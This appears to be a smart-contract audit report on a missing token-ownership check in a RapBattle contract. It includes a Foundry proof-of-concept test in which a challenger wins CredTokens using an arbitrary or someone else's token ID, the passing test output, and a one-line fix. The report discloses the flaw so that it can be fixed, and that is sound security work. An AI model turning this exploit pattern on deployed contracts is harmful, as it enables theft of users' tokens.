Summary
The RapBattle::goOnStageOrBattle
doesn't check if the challenger owns the token that used in the battle. It can be an arbitrary token, a token owned by another user or a non existent (not minted) token.
Without this check a challenger can win a battle even if he doesn't own any token.
Vulnerability Details
The challenger can use a random token id:
function testChallengerCanUseRandomToken(uint256 randomTokenId) public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
vm.prevrandao(bytes32(uint256(keccak256(abi.encodePacked(challenger)))));
vm.recordLogs();
rapBattle.goOnStageOrBattle(
@> randomTokenId,
3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(cred.balanceOf(winner) == 7);
}
Result
forge test -vv --match-test testChallengerCanUseRandomToken
[⠢] Compiling...
No files changed, compilation skipped
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallengerCanUseRandomToken(uint256) (runs: 256, μ: 646496, ~: 647156)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 97.69ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
A rapper can win a battle and earn CredTokens even if he doesn't have any OneShot token or he can use for battle another rapper's OneShot token.
Tools Used
Manual review, Foundry
Recommendations
Check the ownership of the token in battle.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "RapBattle: Not owner of the token");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}